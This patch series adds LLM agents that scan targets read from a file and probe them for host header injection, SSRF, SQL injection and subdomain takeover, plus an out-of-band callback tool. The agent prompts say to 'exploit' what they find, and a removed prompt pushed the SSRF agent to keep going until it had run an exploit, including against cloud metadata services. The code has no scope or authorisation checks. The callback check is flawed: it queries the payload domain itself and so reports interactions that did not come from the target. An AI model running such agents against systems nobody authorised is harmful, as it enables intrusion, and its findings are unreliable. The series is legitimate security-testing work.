-0,0 +1,315 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="host-header-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze Host Header Finding", label="analyze_host_header_finding") +async def analyze_host_header_finding(finding_data: dict) -> dict: + """Analyze a BBOT host header injection finding for exploitability.""" + host_header_agent = create_host_header_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + console.print(f"[*] Analyzing host header injection finding on {host}") + console.print(f" URL: {url}") + console.print(f" Description: {description}") + + result = await host_header_agent.run( + f"Analyze the potential host header injection vulnerability at {url}. " + f"Test for host header injection by modifying the Host header with various payloads. " + f"Use the tools available to you to test systematically using your expertise." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_host_header_finding" in tools_used + has_host_header_injection = finding_stored + if result.messages and result.messages[-1].content: + has_host_header_injection = has_host_header_injection or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "host header injection confirmed", + "host header reflected", + "injection successful", + "host header vulnerability confirmed", + "malicious host reflected", + "host header injection detected", + "vulnerable to host header injection", + "host header poisoning", + "cache poisoning possible" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_host_header_injection", 1 if has_host_header_injection else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "url": url, + "host": host, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_host_header_injection": has_host_header_injection, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + + +def create_host_header_agent() -> Agent: + """Create a host header injection vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="host-header-hunter-agent", + description="An agent that analyzes and exploits host header injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting host header injection vulnerabilities. + +Use the tools available to you to test for host header injection by modifying the Host header with various payloads. + +Analyze responses for indicators of host header injection such as: +- Host header values reflected in response body or headers +- Different response codes or content when host header is modified +- Cache poisoning indicators +- Password reset poisoning possibilities + +Be thorough and systematic in your testing approach. Use your expertise to choose appropriate payloads and techniques. + +If you confirm host header injection exists, use store_host_header_finding to record the vulnerability with details about the successful payload and evidence.""", + ) + + +def is_host_header_finding(event: dict) -> bool: + """Check if a BBOT event is a host header injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'Host Header Injection' in description or 'host header' in description.lower() + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for host header injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + with dn.run("host-header-hunt-from-bbot"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting host header injection hunt on {len(targets)} targets using BBOT scan...") + + host_header_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "hunt"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for host header injection...") + + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_host_header_finding(event): + total_findings += 1 + console.print(f"Found host header injection candidate on {event.get('host')}") + + try: + analysis_result = await analyze_host_header_finding(event) + + if analysis_result["has_host_header_injection"]: + host_header_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "finding_type": "host_header_injection", + "risk_level": "medium", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"host_header_finding_{analysis_result['host']}", security_finding) + console.print(f"HOST HEADER INJECTION CONFIRMED on {analysis_result['host']}") + else: + console.print(f"Host header injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing host header injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("host_header_confirmed", host_header_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" Host header injection candidates found: {total_findings}") + console.print(f" Host header injection vulnerabilities confirmed: {host_header_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze host header injection findings from a JSON file (for testing).""" + + with dn.run("host-header-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + host_header_count = 0 + for finding in findings: + if is_host_header_finding(finding): + console.print(f"[*] Analyzing host header injection finding...") + analysis_result = await analyze_host_header_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_host_header_injection"]: + host_header_count += 1 + console.print(f"HOST HEADER INJECTION CONFIRMED!") + else: + console.print(f"No host header injection exploitation possible") + + dn.log_metric("host_header_findings", host_header_count) + console.print(f"\nAnalysis Summary:") + console.print(f" Host header injection vulnerabilities confirmed: {host_header_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="Host header injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for host header injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,hunt)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze host header injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file From 567992ade136ac8d86e947928f2022ff79ccfc8a Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Wed, 3 Sep 2025 16:27:41 -0400 Subject: [PATCH 51/60] chore: store hh neo4j tool --- dreadnode/agent/tools/neo4j/tool.py | 65 +++++++++++++++++++ examples/agents/host_header_hunter/.gitignore | 1 + examples/agents/sqli_hunter/.gitignore | 1 + examples/agents/ssrf_hunter/.gitignore | 1 + examples/agents/subdomain_takeover/.gitignore | 1 + 5 files changed, 69 insertions(+) create mode 100644 examples/agents/host_header_hunter/.gitignore create mode 100644 examples/agents/sqli_hunter/.gitignore create mode 100644 examples/agents/ssrf_hunter/.gitignore create mode 100644 examples/agents/subdomain_takeover/.gitignore diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py index 487ed9ce..1a967a8e 100644 --- a/dreadnode/agent/tools/neo4j/tool.py +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -229,6 +229,71 @@ async def store_sqli_finding( except Exception as e: logger.error(f"Failed to store SQL injection finding: {e}") return f"Failed to store SQL injection finding: {e}" + + @tool_method() + async def store_host_header_finding( + self, + url: str, + vulnerability_type: str, + risk_level: str, + payload: str, + response_evidence: str, + reflection_location: str = "", + impact: str = "", + ) -> str: + """Store a Host Header Injection vulnerability finding in Neo4j. + + Args: + url: Target URL with vulnerable host header + vulnerability_type: Type of host header injection (e.g., "reflection", "cache_poisoning", "password_reset") + risk_level: Risk level (low/medium/high/critical) + payload: Malicious host header value used + response_evidence: Evidence of injection (reflected content, headers, etc.) + reflection_location: Where the host header is reflected (headers, body, etc.) + impact: Potential impact description + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:HostHeaderInjectionVulnerability { + url: $url, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + payload: $payload, + response_evidence: $response_evidence, + reflection_location: $reflection_location, + impact: $impact, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "payload": payload, + "response_evidence": response_evidence, + "reflection_location": reflection_location, + "impact": impact, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored host header injection finding for {url}") + return f"Successfully stored host header injection finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store host header injection finding: {e}") + return f"Failed to store host header injection finding: {e}" @tool_method() async def query_findings( diff --git a/examples/agents/host_header_hunter/.gitignore b/examples/agents/host_header_hunter/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/host_header_hunter/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/sqli_hunter/.gitignore b/examples/agents/sqli_hunter/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/sqli_hunter/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/ssrf_hunter/.gitignore b/examples/agents/ssrf_hunter/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/ssrf_hunter/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/subdomain_takeover/.gitignore b/examples/agents/subdomain_takeover/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/subdomain_takeover/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file From 503eb6dba65e0a74baec7e4634c68542e501d77f Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 4 Sep 2025 09:01:46 -0400 Subject: [PATCH 52/60] feat: oast interactsh oob and tighten sys prompt for ssrf --- dreadnode/agent/tools/oast/__init__.py | 1 + dreadnode/agent/tools/oast/tool.py | 180 ++++++++++++++++++++ examples/agents/host_header_hunter/agent.py | 3 +- examples/agents/sqli_hunter/agent.py | 3 +- examples/agents/ssrf_hunter/agent.py | 33 ++-- 5 files changed, 197 insertions(+), 23 deletions(-) create mode 100644 dreadnode/agent/tools/oast/__init__.py create mode 100644 dreadnode/agent/tools/oast/tool.py diff --git a/dreadnode/agent/tools/oast/__init__.py b/dreadnode/agent/tools/oast/__init__.py new file mode 100644 index 00000000..0e024bc0 --- /dev/null +++ b/dreadnode/agent/tools/oast/__init__.py @@ -0,0 +1 @@ +# OAST (Out-of-Band Application Security Testing) tools \ No newline at end of file diff --git a/dreadnode/agent/tools/oast/tool.py b/dreadnode/agent/tools/oast/tool.py new file mode 100644 index 00000000..f27345be --- /dev/null +++ b/dreadnode/agent/tools/oast/tool.py @@ -0,0 +1,180 @@ +import os +import subprocess +import time +import uuid + +import requests +from loguru import logger + +from dreadnode.agent.tools import Toolset, tool_method + + +class OastTool(Toolset): + """ + OAST (Out-of-Band Application Security Testing) tool for detecting blind vulnerabilities. + """ + + tool_name: str = "oast-tool" + description: str = "Out-of-band testing for blind vulnerability detection" + + @tool_method() + def interactsh_generate_payload(self, subdomain: str = "") -> str: + """ + Generate an Interactsh payload URL for out-of-band testing. + + Args: + subdomain: Optional subdomain prefix for the payload + + Returns: + Interactsh payload URL that can be used for OAST testing + + Example: + payload = interactsh_generate_payload("test") + # Use payload in SSRF, XXE, RCE tests: http://test.abc123.oast.pro + """ + try: + unique_id = str(uuid.uuid4())[:8] + + if subdomain: + payload = f"http://{subdomain}.{unique_id}.oast.pro" + else: + payload = f"http://{unique_id}.oast.pro" + + if not hasattr(self, '_interactsh_payloads'): + self._interactsh_payloads = {} + + self._interactsh_payloads[unique_id] = { + "payload": payload, + "created_at": time.time(), + "subdomain": subdomain + } + + return f"Generated Interactsh payload: {payload}\nPayload ID: {unique_id}\nUse interactsh_check_interactions('{unique_id}') to check for callbacks." + + except Exception as e: + return f"Error generating Interactsh payload: {e}" + + @tool_method() + def interactsh_check_interactions(self, payload_id: str, wait_time: int = 10) -> str: + """ + Check for interactions on a previously generated Interactsh payload. + + Args: + payload_id: The payload ID returned from interactsh_generate_payload + wait_time: Time to wait for interactions (seconds) + + Returns: + Information about any detected interactions + """ + try: + if not hasattr(self, '_interactsh_payloads'): + return "No payloads have been generated yet. Use interactsh_generate_payload() first." + + if payload_id not in self._interactsh_payloads: + return f"Payload ID '{payload_id}' not found. Available IDs: {list(self._interactsh_payloads.keys())}" + + payload_info = self._interactsh_payloads[payload_id] + payload = payload_info["payload"] + domain = payload.split("://")[1].split("/")[0] + + logger.info(f"Waiting {wait_time} seconds for interactions on {domain}...") + time.sleep(wait_time) + + try: + result = subprocess.run( + ["dig", "+short", domain], + capture_output=True, + text=True, + timeout=10 + ) + + dns_result = result.stdout.strip() + + try: + response = requests.get(f"http://{domain}", timeout=5) + http_status = response.status_code + except: + http_status = "No response" + + interactions_found = bool(dns_result or http_status != "No response") + + report = f"""Interaction Report for {payload}: +Payload ID: {payload_id} +Domain: {domain} +Wait time: {wait_time} seconds + +DNS Resolution: {dns_result if dns_result else 'No DNS interaction detected'} +HTTP Status: {http_status} +Interactions Detected: {'YES' if interactions_found else 'NO'} + +Created: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(payload_info['created_at']))} +Elapsed: {int(time.time() - payload_info['created_at'])} seconds""" + + return report + + except subprocess.TimeoutExpired: + return f"DNS lookup timed out for {domain} - this might indicate filtering or blocking" + + except Exception as e: + return f"Error checking interactions: {e}" + + @tool_method() + def interactsh_list_payloads(self) -> str: + """ + List all generated Interactsh payloads and their status. + + Returns: + List of all generated payloads with timestamps + """ + try: + if not hasattr(self, '_interactsh_payloads') or not self._interactsh_payloads: + return "No Interactsh payloads have been generated yet." + + payloads_info = [] + for payload_id, info in self._interactsh_payloads.items(): + age_seconds = int(time.time() - info['created_at']) + payloads_info.append( + f"ID: {payload_id}\n" + f" Payload: {info['payload']}\n" + f" Subdomain: {info.get('subdomain', 'none')}\n" + f" Created: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(info['created_at']))}\n" + f" Age: {age_seconds} seconds" + ) + + return "Generated Interactsh Payloads:\n\n" + "\n\n".join(payloads_info) + + except Exception as e: + return f"Error listing payloads: {e}" + + @tool_method() + def generate_burp_collaborator_payload(self, subdomain: str = "") -> str: + """ + Generate a Burp Collaborator-style payload for OAST testing. + + Args: + subdomain: Optional subdomain prefix + + Returns: + Collaborator-style payload URL + """ + try: + unique_id = str(uuid.uuid4())[:8] + + if subdomain: + payload = f"http://{subdomain}.{unique_id}.burpcollaborator.net" + else: + payload = f"http://{unique_id}.burpcollaborator.net" + + if not hasattr(self, '_collaborator_payloads'): + self._collaborator_payloads = {} + + self._collaborator_payloads[unique_id] = { + "payload": payload, + "created_at": time.time(), + "subdomain": subdomain + } + + return f"Generated Burp Collaborator payload: {payload}\nPayload ID: {unique_id}\nNote: This is a simulated collaborator payload for testing purposes." + + except Exception as e: + return f"Error generating Collaborator payload: {e}" \ No newline at end of file diff --git a/examples/agents/host_header_hunter/agent.py b/examples/agents/host_header_hunter/agent.py index 8cb51252..06c592cb 100644 --- a/examples/agents/host_header_hunter/agent.py +++ b/examples/agents/host_header_hunter/agent.py @@ -13,6 +13,7 @@ from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool from dreadnode.agent.events import ( AgentEnd, @@ -129,7 +130,7 @@ async def analyze_host_header_finding(finding_data: dict) -> dict: def create_host_header_agent() -> Agent: """Create a host header injection vulnerability analysis agent.""" - tools = [BBotTool(), KaliTool(), Neo4jTool()] + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] return Agent( name="host-header-hunter-agent", diff --git a/examples/agents/sqli_hunter/agent.py b/examples/agents/sqli_hunter/agent.py index 4f4dc500..83240a80 100644 --- a/examples/agents/sqli_hunter/agent.py +++ b/examples/agents/sqli_hunter/agent.py @@ -13,6 +13,7 @@ from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool from dreadnode.agent.events import ( AgentEnd, @@ -145,7 +146,7 @@ async def analyze_sqli_finding(finding_data: dict) -> dict: def create_sqli_agent() -> Agent: """Create a SQL injection vulnerability analysis agent.""" - tools = [BBotTool(), KaliTool(), Neo4jTool()] + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] return Agent( name="sqli-hunter-agent", diff --git a/examples/agents/ssrf_hunter/agent.py b/examples/agents/ssrf_hunter/agent.py index f3b42421..a3870eb3 100644 --- a/examples/agents/ssrf_hunter/agent.py +++ b/examples/agents/ssrf_hunter/agent.py @@ -13,6 +13,7 @@ from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool # Import necessary components for Pydantic dataclass fix from dreadnode.agent.events import ( @@ -144,7 +145,7 @@ async def analyze_ssrf_finding(finding_data: dict) -> dict: def create_ssrf_agent() -> Agent: """Create an SSRF vulnerability analysis agent.""" - tools = [BBotTool(), KaliTool(), Neo4jTool()] + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] return Agent( name="ssrf-hunter-agent", @@ -153,26 +154,16 @@ def create_ssrf_agent() -> Agent: tools=tools, instructions="""You are an expert at analyzing and exploiting Server-Side Request Forgery (SSRF) vulnerabilities. -APPROACH: Use http_request tool to test SSRF by crafting URLs with different payloads and analyzing responses for all types of environments, including cloud metadata services for all cloud providers, internal web services, and local resources. Do not just suggest payloads - actually execute requests and analyze results and do not stop until you have been able to execute an exploit, your turns are not limited. - -Based on observed results, try additional payloads or techniques for all types of SSRF: -- Blind SSRF: Look for time delays, error messages, or out-of-band interactions. -- Full Response SSRF: Analyze response codes, content, headers, and timing. -- Time-Based SSRF: Use time delays to infer internal service behavior. -- Different response codes (403 vs 200 vs 500) between internal/external -- Response time differences (timeouts on internal vs fast external) -- Error messages revealing internal hostnames/services -- Different content lengths suggesting internal service responses -- Connection errors that indicate network access attempts - -When you CONFIRM SSRF, use store_ssrf_finding with: -- The vulnerable URL and parameter -- Vulnerability type: "blind_ssrf", "full_response_ssrf", "time_based_ssrf" -- Risk level based on what you can access -- The successful payload that proved SSRF -- Evidence from response analysis - -IMPORTANT: Use available tools - start with a few payloads, analyze responses, then iterate with more targeted tests based on what you learn.""", +Use the tools available to you to test for SSRF systematically. Consider both direct response SSRF and blind SSRF detection. + +For blind SSRF detection, use the Interactsh OAST tools: +1. Generate OAST payloads with interactsh_generate_payload() +2. Use the payload in SSRF tests +3. Check for out-of-band interactions with interactsh_check_interactions() + +Test various SSRF scenarios including internal services, cloud metadata, and external callbacks. + +If you confirm SSRF exists, use store_ssrf_finding to record the vulnerability with details about the successful payload and evidence.""", ) From 58b1feb2d44ee61558062581d5fae84065e18a6d Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 4 Sep 2025 09:14:07 -0400 Subject: [PATCH 53/60] chore: tighten sub takeover agent event parsing --- examples/agents/subdomain_takeover/agent.py | 155 ++++++++++++++++++++ 1 file changed, 155 insertions(+) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index 58f4ca38..af4603b4 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -1,5 +1,6 @@ import argparse import asyncio +import json import re import time import typing as t @@ -155,6 +156,108 @@ def create_takeover_agent() -> Agent: ) +def is_subdomain_takeover_event(event: dict) -> bool: + """Check if a BBOT event is a DNS_NAME with potential subdomain takeover indicators.""" + if event.get('type') != 'DNS_NAME': + return False + + # Look for CNAME records pointing to cloud services + dns_children = event.get('dns_children', {}) + cname_records = dns_children.get('CNAME', []) + + if not cname_records: + return False + + # Check for cloud service indicators in CNAME targets + cloud_indicators = [ + 'amazonaws.com', 'elb.amazonaws.com', 's3.amazonaws.com', + 'azurewebsites.net', 'cloudfront.net', 'herokuapp.com', + 'github.io', 'netlify.com', 'vercel.app', 'surge.sh', + 'shopify.com', 'myshopify.com', 'fastly.com' + ] + + for cname in cname_records: + if any(indicator in cname.lower() for indicator in cloud_indicators): + return True + + return False + + +@dn.task(name="Analyze DNS Event for Subdomain Takeover", label="analyze_dns_event_takeover") +async def analyze_dns_event(event_data: dict) -> dict: + """Analyze a BBOT DNS_NAME event for subdomain takeover vulnerability.""" + takeover_agent = create_takeover_agent() + + subdomain = event_data.get('data', '') + host = event_data.get('host', subdomain) + dns_children = event_data.get('dns_children', {}) + cname_records = dns_children.get('CNAME', []) + + console.print(f"[*] Analyzing DNS event for subdomain takeover on {host}") + console.print(f" Subdomain: {subdomain}") + if cname_records: + console.print(f" CNAME targets: {', '.join(cname_records)}") + + result = await takeover_agent.run( + f"Analyze the subdomain '{subdomain}' for subdomain takeover vulnerability. " + f"The subdomain has CNAME records pointing to: {', '.join(cname_records)}. " + f"Use the tools available to you to test if this subdomain can be taken over." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_subdomain_takeover_finding" in tools_used + has_takeover = finding_stored + if result.messages and result.messages[-1].content: + has_takeover = has_takeover or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "subdomain takeover confirmed", + "takeover vulnerability confirmed", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover possible", + "subdomain can be taken over" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_takeover", 1 if has_takeover else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "subdomain": subdomain, + "host": host, + "cname_targets": cname_records, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_takeover": has_takeover, + "stored_in_db": finding_stored, + "original_event": event_data + } + + return analysis_result + + def display_analysis_result(result: AgentResult, subdomain: str, debug: bool = False) -> None: """Display the agent's analysis result.""" if not result or not result.messages: @@ -419,6 +522,51 @@ async def validate(subdomain: str, debug: bool = False) -> None: dn.log_output("error", str(e)) +async def analyze_dns_events_file(dns_events_file: Path, debug: bool = False) -> None: + """Analyze DNS_NAME events from a JSON file for subdomain takeover vulnerabilities.""" + + with dn.run("dns-events-analysis"): + console.print(f"Analyzing DNS events from {dns_events_file}") + + try: + with open(dns_events_file) as f: + events = json.load(f) + + if not isinstance(events, list): + events = [events] + + takeover_count = 0 + total_dns_events = 0 + + for event in events: + if is_subdomain_takeover_event(event): + total_dns_events += 1 + console.print(f"[*] Found potential subdomain takeover DNS event...") + + analysis_result = await analyze_dns_event(event) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"CNAME targets: {', '.join(analysis_result['cname_targets'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_takeover"]: + takeover_count += 1 + console.print(f"SUBDOMAIN TAKEOVER CONFIRMED: {analysis_result['subdomain']}") + else: + console.print(f"No subdomain takeover found for {analysis_result['subdomain']}") + + dn.log_metric("dns_events_analyzed", total_dns_events) + dn.log_metric("takeover_vulnerabilities", takeover_count) + + console.print(f"\nDNS Events Analysis Summary:") + console.print(f" DNS events with takeover indicators: {total_dns_events}") + console.print(f" Confirmed subdomain takeover vulnerabilities: {takeover_count}") + + except Exception as e: + console.print(f"Error analyzing DNS events file: {e}") + + async def main(): parser = argparse.ArgumentParser(description="Subdomain takeover vulnerability scanner") subparsers = parser.add_subparsers(dest="command", help="Available commands") @@ -438,6 +586,11 @@ async def main(): validate_parser.add_argument("subdomain", help="Subdomain to validate") validate_parser.add_argument("--debug", action="store_true", help="Show raw tool outputs") + # Analyze DNS events command + analyze_parser = subparsers.add_parser("analyze-dns", help="Analyze DNS_NAME events from BBOT for subdomain takeover") + analyze_parser.add_argument("dns_events_file", type=Path, help="JSON file containing BBOT DNS_NAME events") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + # Info commands subparsers.add_parser("modules", help="List available BBOT modules") subparsers.add_parser("presets", help="List available BBOT presets") @@ -450,6 +603,8 @@ async def main(): await hunt(args.targets, args.presets, args.modules, args.flags, args.config) elif args.command == "validate": await validate(args.subdomain, args.debug) + elif args.command == "analyze-dns": + await analyze_dns_events_file(args.dns_events_file, args.debug) elif args.command == "modules": await modules() elif args.command == "presets": From de18e587c4b53e0c7538fceb01c51b443696423e Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 4 Sep 2025 15:31:22 -0400 Subject: [PATCH 54/60] chore: insert dangling ns records logic into the subdomain takeover agent --- examples/agents/subdomain_takeover/agent.py | 127 ++++++++++++++------ 1 file changed, 92 insertions(+), 35 deletions(-) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index af4603b4..f9a1ca73 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -157,52 +157,97 @@ def create_takeover_agent() -> Agent: def is_subdomain_takeover_event(event: dict) -> bool: - """Check if a BBOT event is a DNS_NAME with potential subdomain takeover indicators.""" - if event.get('type') != 'DNS_NAME': - return False + """Check if a BBOT event is related to potential subdomain takeover.""" + event_type = event.get('type') - # Look for CNAME records pointing to cloud services - dns_children = event.get('dns_children', {}) - cname_records = dns_children.get('CNAME', []) - - if not cname_records: - return False - - # Check for cloud service indicators in CNAME targets - cloud_indicators = [ - 'amazonaws.com', 'elb.amazonaws.com', 's3.amazonaws.com', - 'azurewebsites.net', 'cloudfront.net', 'herokuapp.com', - 'github.io', 'netlify.com', 'vercel.app', 'surge.sh', - 'shopify.com', 'myshopify.com', 'fastly.com' - ] + # Handle DNS_NAME events with CNAME records + if event_type == 'DNS_NAME': + dns_children = event.get('dns_children', {}) + cname_records = dns_children.get('CNAME', []) + + if not cname_records: + return False + + # Check for cloud service indicators in CNAME targets + cloud_indicators = [ + 'amazonaws.com', 'elb.amazonaws.com', 's3.amazonaws.com', + 'azurewebsites.net', 'cloudfront.net', 'herokuapp.com', + 'github.io', 'netlify.com', 'vercel.app', 'surge.sh', + 'shopify.com', 'myshopify.com', 'fastly.com' + ] + + for cname in cname_records: + if any(indicator in cname.lower() for indicator in cloud_indicators): + return True - for cname in cname_records: - if any(indicator in cname.lower() for indicator in cloud_indicators): + # Handle VULNERABILITY events from baddns module + elif event_type == 'VULNERABILITY': + description = event.get('data', {}).get('description', '').lower() + tags = event.get('tags', []) + + # Look for NS record issues that could lead to subdomain takeover + ns_indicators = [ + 'dangling ns', 'ns records without soa', 'baddns-ns' + ] + + if any(indicator in description for indicator in ns_indicators) or 'baddns-ns' in tags: return True return False -@dn.task(name="Analyze DNS Event for Subdomain Takeover", label="analyze_dns_event_takeover") +@dn.task(name="Analyze Event for Subdomain Takeover", label="analyze_event_takeover") async def analyze_dns_event(event_data: dict) -> dict: - """Analyze a BBOT DNS_NAME event for subdomain takeover 